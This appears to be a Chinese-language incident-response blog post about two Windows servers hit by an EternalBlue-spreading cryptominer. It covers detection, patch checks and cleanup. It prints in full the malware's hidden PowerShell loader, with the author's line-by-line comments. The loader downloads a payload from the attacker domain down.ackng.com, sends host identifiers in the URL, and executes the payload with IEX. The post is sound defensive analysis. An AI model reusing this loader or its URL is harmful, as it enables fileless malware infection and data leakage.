在公司这几天收到 CSO 发来不少火绒告警讯息,通过查看信息发现是攻击 445 端口,这一看很可能是永恒之蓝呀。
通过对这台机器端口扫描结果发现对方也开了 445。😶
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1688/tcp open nsjtp-data
3389/tcp open ms-wbt-server
5200/tcp open targus-getdata
49152/tcp open unknown
49153/tcp open unknown
49155/tcp open unknown
49197/tcp open unknown
49350/tcp open unknown
49438/tcp open unknown
57084/tcp open unknown
65529/tcp open unknown
65530/tcp open unknown
65533/tcp open unknown
问负责人要了密码登录进去,随手看了下任务管理器,资源占用还挺高,任务栏程序窗口也没有,超奇怪的唉。🙄
那我想怎么能查得到这个 PowerShell 运行的是什么脚本呀,通过 google 找到一条语句,可查询 powershell.exe 命令行参数。
wmic process where caption="powershell.exe" get caption,commandline /value
得到异常参数。
Caption=powershell.exe
CommandLine=powershell -nop -w hidden -ep bypass -c "$ifp=$env:tmp+'\if.bin';if(test-path $ifp){$con=[System.IO.File]::ReadAllBytes($ifp);[System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString('X2')};if($s-ne'676e657e578e22cb7a9138d6979c46c1'){$con=''}}if(!$con){$con=(New-Object Net.WebClient).downloaddata('http://down.ackng.com/if.bin?ID=WIN-G4SEL2FMI8M&GUID=DC503C42-A0A0-EBD7-0982-249C228D246A&MAC=00:50:56:BC:32:54&OS=6.3.9600&BIT=64 位&USER=MSSQLSERVER&DOMAIN=WORKGROUP&D=&CD=Microsoft 基本显示适配器&P=0&FI=0&FM=0&IF=0&MF=0&HR=&UP=1586108.812&_T=1572307138.34506');[System.IO.File]::WriteAllBytes($ifp,$con)}IEX(-join[char[]]$con)"
一搜其中 down.ackng.com
域名得知是挖矿病毒。
手动格式化并查了一堆资料后写下注释。
powershell-nop -w hidden -ep bypass
-c " $ifp=$env:tmp+'\if.bin'; # 获取当前用户tmp目录下if.bin文件信息
if(test-path $ifp){ # 用test-path判断if.bin文件是否存在 $con=[System.IO.File]::ReadAllBytes($ifp); # 将if.bin文件作为字节读入内存,不过这里是放入变量
[System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString('X2')}; # 计算已经加载到内存中if.bin文件的md5校验和,将内容转换为十六进制存入变量s
if($s-ne'676e657e578e22cb7a9138d6979c46c1'){$con=''} # 看校验和是否一至,不是就将$con清空(看看是不是自家挖矿文件)。
}
if(!$con){ # 如果$con没被篡改(或不存在)继续往下走 $con=(New-Object Net.WebClient).downloaddata('http://down.ackng.com/if.bin?ID=WIN-G4SEL2FMI8M&GUID=DC503C42-A0A0-EBD7-0982-249C228D246A&MAC=00:50:56:BC:32:54&OS=6.3.9600&BIT=64 位&USER=MSSQLSERVER&DOMAIN=WORKGROUP&D=&CD=Microsoft 基本显示适配器&P=0&FI=0&FM=0&IF=0&MF=0&HR=&UP=1586108.812&_T=1572307138.34506');
[System.IO.File]::WriteAllBytes($ifp,$con)
# 创建一个对象,使用这个对象下载,将下载的内容存入$con变量,随后将$con的内容写入$ifp路径。
}
IEX(-join[char[]]$con) # IEX=Invoke-Expression,用来执行$con恶意内容,搞不懂为啥要转换数组再join连接-join[char[]]
"
根据脚本 $env:tmp
查看目录中发现 if.bin
和 m6.bin
。
从秦萧公众号一篇应急响应文章得知判断方法,要想断定病毒或木马文件可以查看详细信息是否为空,正常文件都会带有信息。这 tips 在整理这篇总结时才发现,遂记录于此。
netstat -ano
查看网络连接和Wireshark抓包都没异常连接,火绒也没正常启用(显示驱动版本不匹配)。
查询系统补丁,服务器系统是 2012R2, MS17-010 的 kb4012213 和 kb4012216 补丁都没打,永恒之蓝实锤了。
systeminfo | findstr /I "kb4012213"
systeminfo | findstr /I "kb4012216"
按基操查继续看任务计划、安全日志、系统日志、服务这几个方面。
任务计划发现命令方式都是随机字母,执行参数和前面混淆过的代码差不多。
日志和服务忘记录了,不过一般会有大量登录失败的痕迹,我也见过直接把日志清空的情况....
脚本执行思路
分析 if.bin 文件,得知脚本会扫描整个内网 B 段和 C 段,采用 MS17-010 入侵和 3389 爆破等手段进入机器,采用无文件方式运行(甚至 360 开着都无法检测出这个进程出现问题),并使用任务计划等手段在服务器上持久化。
修复策略
删除异常任务计划
删除后门文件
结束PowerShell进程
开启Windows防火墙,并在入站规则禁止 445。
下载AD并全盘查杀
打补丁
案例二
又收到一条阿里云告警信息。
进程信息
网络连接
大量连接远程主机445端口,很有可能是被当作肉鸡去攻击别人机器。
补丁信息
未打 MS17-010 补丁。
systeminfo | find "4012215"
systeminfo | find "4012212"
主机名: xx-xx
OS 名称: Microsoft Windows Server 2008 R2 Standard
OS 版本: 6.1.7601 Service Pack 1 Build 7601
OS 制造商: Microsoft Corporation
OS 配置: 独立服务器
OS 构件类型: Multiprocessor Free
注册的所有人: Windows 用户
注册的组织:
产品 ID: 00477-001-0000421-84376
初始安装日期: 2013/6/27, 17:14:43
系统启动时间: 2019/11/15, 22:18:50
系统制造商: Alibaba Cloud
系统型号: Alibaba Cloud ECS
系统类型: x64-based PC
处理器: 安装了 1 个处理器。
[01]: Intel64 Family 6 Model 85 Stepping 4 GenuineIntel ~2500 Mhz
BIOS 版本: SeaBIOS 3288b3c, 2014/4/1
Windows 目录: C:\windows
系统目录: C:\windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn;中文(中国)
输入法区域设置: zh-cn;中文(中国)
时区: (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量: 8,191 MB
可用的物理内存: 4,079 MB
虚拟内存: 最大值: 16,381 MB
虚拟内存: 可用: 7,580 MB
虚拟内存: 使用中: 8,801 MB
页面文件位置: D:\pagefile.sys
域: WORKGROUP
登录服务器: \\xx-xx
修补程序: 安装了 185 个修补程序。
[01]: KB981391
[02]: KB981392
[03]: KB977236
[04]: KB981111
[05]: KB977238
[06]: KB2849697
[07]: KB2849696
[08]: KB2841134
[09]: KB2841134
[10]: KB977239
[11]: KB2670838
[12]: KB2592687
[13]: KB981390
[14]: KB2386667
[15]: KB2425227
[16]: KB2506014
[17]: KB2506212
[18]: KB2506928
[19]: KB2509553
[20]: KB2511455
[21]: KB2515325
[22]: KB2529073
[23]: KB2533552
[24]: KB2536275
[25]: KB2536276
[26]: KB2541014
[27]: KB2544893
[28]: KB2545698
[29]: KB2547666
[30]: KB2552343
[31]: KB2560656
[32]: KB2563227
[33]: KB2564958
[34]: KB2570947
[35]: KB2574819
[36]: KB2584146
[37]: KB2585542
[38]: KB2603229
[39]: KB2604115
[40]: KB2607047
[41]: KB2608658
[42]: KB2618451
[43]: KB2620704
[44]: KB2621440
[45]: KB2631813
[46]: KB2636573
[47]: KB2640148
[48]: KB2643719
[49]: KB2644615
[50]: KB2645640
[51]: KB2647753
[52]: KB2653956
[53]: KB2654428
[54]: KB2655992
[55]: KB2656356
[56]: KB2658846
[57]: KB2659262
[58]: KB2660075
[59]: KB2667402
[60]: KB2676562
[61]: KB2685811
[62]: KB2685813
[63]: KB2685939
[64]: KB2690533
[65]: KB2691442
[66]: KB2698365
[67]: KB2699779
[68]: KB2705219
[69]: KB2706045
[70]: KB2709630
[71]: KB2709981
[72]: KB2712808
[73]: KB2718704
[74]: KB2719857
[75]: KB2726535
[76]: KB2729094
[77]: KB2729452
[78]: KB2732059
[79]: KB2742599
[80]: KB2743555
[81]: KB2749655
[82]: KB2750841
[83]: KB2753842
[84]: KB2757638
[85]: KB2758857
[86]: KB2761217
[87]: KB2763523
[88]: KB2765809
[89]: KB2770660
[90]: KB2779562
[91]: KB2785220
[92]: KB2786081
[93]: KB2786400
[94]: KB2789645
[95]: KB2790113
[96]: KB2791765
[97]: KB2798162
[98]: KB2800095
[99]: KB2804579
[100]: KB2807986
[101]: KB2808679
[102]: KB2813170
[103]: KB2813347
[104]: KB2813430
[105]: KB2820197
[106]: KB2820331
[107]: KB2829361
[108]: KB2830290
[109]: KB2834140
[110]: KB2835361
[111]: KB2836502
[112]: KB2836943
[113]: KB2838727
[114]: KB2839894
[115]: KB2840149
[116]: KB2843630
[117]: KB2845690
[118]: KB2847311
[119]: KB2852386
[120]: KB2853952
[121]: KB2862152
[122]: KB2862330
[123]: KB2862335
[124]: KB2862966
[125]: KB2862973
[126]: KB2864058
[127]: KB2864202
[128]: KB2868038
[129]: KB2868116
[130]: KB2868626
[131]: KB2871997
[132]: KB2872339
[133]: KB2882822
[134]: KB2884256
[135]: KB2887069
[136]: KB2888049
[137]: KB2891804
[138]: KB2892074
[139]: KB2893294
[140]: KB2893519
[141]: KB2908783
[142]: KB2912390
[143]: KB2913152
[144]: KB2918614
[145]: KB2919469
[146]: KB2922229
[147]: KB2926765
[148]: KB2928562
[149]: KB2929733
[150]: KB2929755
[151]: KB2939576
[152]: KB2957189
[153]: KB2957503
[154]: KB2957509
[155]: KB2961072
[156]: KB2961851
[157]: KB2966583
[158]: KB2970228
[159]: KB2973201
[160]: KB2973351
[161]: KB2976897
[162]: KB2977292
[163]: KB2977728
[164]: KB2978092
[165]: KB2978120
[166]: KB2978668
[167]: KB2980245
[168]: KB2984972
[169]: KB2984976
[170]: KB2985461
[171]: KB2991963
[172]: KB2992611
[173]: KB2993651
[174]: KB2993958
[175]: KB2998527
[176]: KB2999226
[177]: KB3002885
[178]: KB3003057
[179]: KB3003743
[180]: KB3005607
[181]: KB3006226
[182]: KB3008627
[183]: KB3010788
[184]: KB976902
[185]: KB982018
网卡: 安装了 3 个 NIC。
[01]: Microsoft Loopback Adapter
连接名: loopback
启用 DHCP: 是
DHCP 服务器: 255.255.255.255
IP 地址
[01]: 169.254.114.140
[02]: fe80::8074:78b9:934f:728c
[02]: Microsoft Loopback Adapter
连接名: Npcap Loopback Adapter
启用 DHCP: 是
DHCP 服务器: 255.255.255.255
IP 地址
[01]: 169.254.219.140
[02]: fe80::e0cd:a78e:5d99:db8c
[03]: Red Hat VirtIO Ethernet Adapter
连接名: 本地连接 3
启用 DHCP: 否
IP 地址
[01]: 192.168.2.18
[02]: fe80::3413:ef0f:fac1:6468
日志信息
根据恶意程序创建时间来筛查,安全日志 11 月 22 日前均被删除。
通过查询服务创建时间和释放时间吻合。
处理
通过火绒扫描删除恶意程序
防火墙入站规则禁止 445 连接本机。
PS:为什么文件没有被锁.....也许阿里云盾拦截操作了吧。
参考链接
永恒之蓝下载器木马再次更新 攻击者收集中招系统基本信息
https://s.tencent.com/research/report/709.html
应急响应系列之无文件攻击分析
https://www.freebuf.com/articles/network/216918.html
闲聊Windows系统日志
https://www.freebuf.com/vuls/175560.html
powershell学习备忘
https://jeremyxu2010.github.io/2018/02/powershell%E5%AD%A6%E4%B9% A0%E5%A4%87%E5%BF%98/
https://laucyun.com/a18dd98b04154ff8891d4a0b17fd9d7b.html
windows中常见后门持久化方法总结
https://xz.aliyun.com/t/6461